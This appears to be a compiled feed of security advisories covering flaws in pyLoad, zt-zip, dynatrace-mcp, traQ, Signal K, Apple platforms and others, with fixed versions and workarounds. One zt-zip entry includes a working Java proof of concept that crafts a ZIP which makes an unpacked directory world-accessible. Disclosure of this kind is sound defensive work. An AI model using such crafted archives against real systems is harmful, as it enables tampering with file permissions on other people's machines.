pyLoad versions prior to 0.5.0b3.dev102 have an insufficient session expiration vulnerability. When an administrator changes a user's permissions or password via the API, existing Flask sessions are not invalidated. This allows users to retain revoked privileges or continue using sessions established with old credentials until the session expires. The issue does not affect API-key authentication. The vulnerability is fixed in version 0.5.0b3.dev102.
A relative path traversal vulnerability exists in AWS ParallelCluster CLI versions before 3.16.0 in the export-cluster-logs and export-image-logs commands. An authenticated user with write access to the log export S3 bucket can craft object keys to write files outside the intended directory on the machine running the command, potentially leading to arbitrary file creation with the privileges of the user running the command. This issue is fixed in version 3.16.0.
### Summary
When using one of the `ZipUtil.unpack` overloads, the file permissions of the output directory can be changed. For example, when the output directory was only accessible to the 'owner' it could be instead made accessible to every OS user.
### Details
When the name of a ZIP entry resolves to the output directory itself (e.g. the name `/`), the path traversal checks permit it and then perform actions on that directory, such as applying the file permissions of the ZIP entry to it.
### PoC
This proof of concept requires an OS with support for POSIX file permissions. This issue itself is however not limited to those OS' with POSIX file permissions, see zt-zip's `ZTFilePermissionsUtil.fetchDefaultStrategy` which uses a fallback in that case.
```java
// Uses Apache Commons Compress to create the malicious ZIP file
// The issue itself is however in how zt-zip processes that ZIP file
import org.apache.commons.compress.archivers.zip.AsiExtraField;
import org.apache.commons.compress.archivers.zip.ZipArchiveEntry;
import org.apache.commons.compress.archivers.zip.ZipArchiveOutputStream;
import org.apache.commons.compress.archivers.zip.ZipExtraField;
import org.zeroturnaround.zip.ZipUtil;
import java.nio.file.Files;
import java.nio.file.Path;
import java.util.Set;
public class ZtZipTest {
public static void main(String[] args) throws Exception {
Path zipPath = Path.of("permissions-change.zip");
Path outputDir = Path.of("permissions-change");
Files.deleteIfExists(outputDir);
Files.createDirectory(outputDir);
Files.setPosixFilePermissions(outputDir, Set.of());
// outputs "[]"
System.out.println("Permissions before: " + Files.getPosixFilePermissions(outputDir));
createZip(zipPath);
ZipUtil.unpack(zipPath.toFile(), outputDir.toFile());
// outputs "[..., OTHERS_EXECUTE, OTHERS_WRITE, OTHERS_READ, ...]"
System.out.println("Permissions after: " + Files.getPosixFilePermissions(outputDir));
}
public static void createZip(Path path) throws Exception {
try (ZipArchiveOutputStream zipStream = new ZipArchiveOutputStream(path)) {
var entry = new ZipArchiveEntry("/");
// Set 'allow all' permissions
entry.setUnixMode(0b1_1111_1111);
AsiExtraField extraField = new AsiExtraField();
// Set 'allow all' permissions
extraField.setMode(0b1_1111_1111);
entry.setExtraFields(new ZipExtraField[] { extraField });
zipStream.putArchiveEntry(entry);
zipStream.closeArchiveEntry();
}
}
}
```
### Impact
Affected are users who use `ZipUtil.unpack` to unpack an untrusted ZIP file.
CVE-2026-123812 is a missing authorization vulnerability in dynatrace-mcp prior to version 1.8.7. The create_dynatrace_notebook registration performs a persistent document-write action without requiring human approval, unlike other write tools in the project. This allows an attacker to create tenant-visible notebooks with malicious Markdown or DQL content, which tenant users may execute when opening the notebook. The issue is fixed in version 1.8.7.
CVE-2026-123811 is a vulnerability in dynatrace-oss dynatrace-mcp versions prior to 2.0.0 where the server started with the --http option accepts JSON-RPC requests without authentication or session validation. This allows network-reachable attackers to invoke critical functions such as reading logs, security events, and user sessions, or creating tenant-visible notebooks. The issue is fixed in version 2.0.0.
CVE-2026-63634 is an improper input validation vulnerability in the pympp Python SDK for the Machine Payments Protocol used by tempoxyz. Versions prior to 0.9.1 do not properly validate calldata length when the server acts as the fee payer. This allows an attacker to append padding bytes that inflate gas usage without exceeding gas limit or fee caps, causing the server to drain its fee-payer wallet. The issue is fixed in version 0.9.1.
CVE-2026-123810 is a SQL Injection vulnerability in dynatrace-oss dynatrace-mcp versions prior to 2.1.1. Several read capabilities improperly interpolate user-controlled input into DQL queries without sufficient validation or escaping. This allows crafted inputs to manipulate query structure, bypassing certain query restrictions. The vulnerability does not escalate data access beyond the token's existing execute_dql permissions. The issue is fixed in version 2.1.1.
CVE-2026-63496 is an OS command injection vulnerability in the augment-vir library's grep() function prior to version 31.73.5. The function unsafely inserts user-controlled search patterns into a shell command string without sanitization, allowing bash to evaluate embedded command substitutions. This leads to arbitrary OS command execution as the Node.js process user. The issue is patched in version 31.73.5.
In OAuth2 silent authorization (`prompt=none`), when the `scope` parameter was empty or omitted, all scopes registered for the OAuth client became eligible for issuance. However, the prior consent check was performed against the empty requested scope set. As a result, an attacker could obtain an access token with broader scopes than the user had previously consented to, without requiring additional consent.
## Impact
If an attacker controls an OAuth client capable of receiving authorization codes, and a user has already consented to only a subset of that client’s scopes, the attacker may be able to obtain a token containing all scopes registered for that client by sending an authorization request with `prompt=none` and an empty or omitted `scope`.
If the user has not consented to the client at all, `consent_required` is returned as usual.
## Patches
This issue has been fixed in v3.28.3. After the fix, the consent check for `prompt=none` verifies the scopes that will actually be issued, rather than the empty requested scope set. If the user has not consented to all scopes after expansion, `consent_required` is returned.
traQ also recommends revoking any existing OAuth tokens created before the fix if they were potentially affected.
## Workarounds
If users cannot update immediately, they should apply the following mitigations:
- Disable untrusted OAuth clients, minimize registered client scopes, and revoke existing tokens
- Reject authorization requests with `prompt=none` where `scope` is empty or omitted
A vulnerability in Dynatrace MCP Server versions prior to 2.0.0 allows improper neutralization of Jinja2 template expressions in certain workflow parameters. This can lead to unintended evaluation of attacker-controlled template code within persistent workflows, potentially disclosing event or tenant metadata via Slack actions if a valid Slack connector is configured. The issue is fixed in version 2.0.0.
CVE-2026-63497 is a medium severity injection vulnerability in the open source time tracking project titra (versions 1.0.3 and earlier). Authenticated API users can exploit this flaw by abusing the customfields object to inject or overwrite top-level fields in MongoDB documents. No public patches are available at the time of disclosure.
### Impact
For instances where `TRAQ_STORAGE_TYPE` is set to `local`, the file retrieval API `/files/{fileId}` could serve user-uploaded SVG or HTML files in a way that allowed them to be rendered directly in the browser.
As a result, an attacker who can upload files to traQ could upload a crafted SVG or HTML file and trick a victim into opening the file URL, allowing the attacker to execute arbitrary JavaScript in the victim's browser.
### Patches
This issue has been fixed in v3.28.3.
After this fix, the file retrieval API always adds the `Content-Disposition` header to its responses regardless of the value of the `dl` query parameter. This prevents user-uploaded files from being displayed directly in the browser.
### Workarounds
To mitigate the impact of this issue, apply either of the following workarounds:
* Change `TRAQ_STORAGE_TYPE` to a storage backend other than `local`.
* Ensure that all requests to `/files/{fileId}` include `dl=1`.
Users of this application can reduce the risk of exploitation by avoiding suspicious file URLs.
CVE-2026-124994 is a medium-severity vulnerability in Turboderp-org ExLlamaV3 versions 1.6.0 through 1.6.3. It involves an out-of-bounds read in the ngram_dequant function within the NGramEmbedding component, triggered by manipulation of the head_bias argument. The flaw can be exploited remotely, and public exploit code is available. Upgrading to version 1.6.4 resolves the issue.
CVE-2026-123808 is a vulnerability in Nuxt UI versions prior to 4.8.1 where server-rendered forms omit method and action attributes, relying on client-side Vue hydration to prevent native form submission. If a user submits a form before hydration completes or if the client bundle is blocked, sensitive credential data can be exposed in the URL query string, potentially leaking to browser history, logs, and Referer headers. This issue is fixed in version 4.8.1.
CVE-2026-123807 is a critical path traversal vulnerability in Signal K Server and its resources provider plugin. It affects versions from 2.0.0 up to but not including 2.34.0 for signalk-server and from 1.0.0 up to but not including 1.5.3 for @signalk/resources-provider. The vulnerability allows an attacker to read, write, or delete arbitrary JSON files on the server by exploiting insufficient path containment in the REST API resourceId parameter. This can lead to exposure of sensitive files such as security.json, which contains JWT signing secrets and password hashes. With this information, an attacker can forge administrator tokens and gain administrative access to execute arbitrary commands with server privileges. The issue is fixed in versions 2.34.0 and 1.5.3 respectively.
CVE-2026-122056 is a heap-based buffer overflow vulnerability in OpenSCAP on Red Hat Enterprise Linux 10. It occurs when processing a specially crafted XCCDF document using the sds-compose option, potentially causing memory corruption and application crashes leading to Denial of Service (DoS). Exploitation requires administrative interaction to process a malicious document, limiting exposure. No patch or mitigation meeting Red Hat's criteria is currently available.
CVE-2026-124992 is a medium-severity vulnerability in nushell versions 0.116.0 and 0.116.1. It involves improper neutralization of escape, meta, or control sequences in the escape_bytes function within the Data Conversion Handler component. The issue requires local access to exploit and does not involve user interaction. A fix has been proposed but is not yet accepted or available.
TrailBase versions from 0.28.2 up to but not including 0.35.10 contain an insecure direct object reference vulnerability. Authenticated attackers can manipulate file upload metadata to access or delete files owned by other users without proper ownership validation. This flaw allows reading victim files through the attacker's own records or causing permanent deletion by deleting or nulling their own records. The vulnerability also enables brute-force recovery of stripped file IDs using a filter technique. A fix is available in version 0.35.10.
This issue was addressed by restricting options offered on a locked device. This issue is fixed in iOS 18.7.12 and iPadOS 18.7.12, iOS 26.5 and iPadOS 26.5. An attacker with physical access may be able to pair a device with an AirPlay receiver from the lock screen.
A use-after-free issue was addressed with improved memory management. This issue is fixed in iOS 18.7.12 and iPadOS 18.7.12, iOS 26.7.3 and iPadOS 26.7.3, iOS 27.2.1 and iPadOS 27.2.1, macOS Golden Gate 27.2.1, macOS Sequoia 15.8.3, macOS Tahoe 26.7.3, visionOS 27.2.1, watchOS 26.6.1, watchOS 27.2.1. An attacker in Bluetooth range may be able to corrupt process memory.